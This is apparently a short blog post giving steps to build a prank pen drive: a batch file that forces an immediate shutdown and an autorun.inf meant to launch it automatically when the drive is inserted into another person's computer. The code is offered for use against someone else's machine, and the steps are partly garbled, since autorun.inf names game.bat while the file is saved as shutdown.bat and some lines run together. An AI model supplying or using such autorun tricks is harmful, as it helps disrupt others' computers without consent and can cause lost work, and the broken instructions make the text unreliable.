Follow the Simple Steps:
- Open the notepad, and copy + paste following codes in notepad.
@echo off
shutdown -s -t 00
-s : shutdown.
-r : Restart.
-l : Logoff.
-t : Time(After how many seconds should PC turn off).
-a : aborting the shutdown of PC
- 00 is indicating that system will shut down after 0 seconds.You change the timing in the desired seconds.
- Now click on “File” and then “Save” to save the file or just simply click the ctrl+S, save the file in shutdown.bat.(you must save in .bat extension file indicating the batch file.
- Now again open the notepad and copy the code given below :
[autorun] Open=game.bat
Action=Mouse DisableSave it as “autorun.inf”
- Then copy the two files in your pen drive, Just finished, whenever you insert his pen drive,the system will be turned off automatically.
Thats it! Hope will you enjoy with this small tip, if you have any other way to shutdown, let me know by commenting below.
No comments:
Post a Comment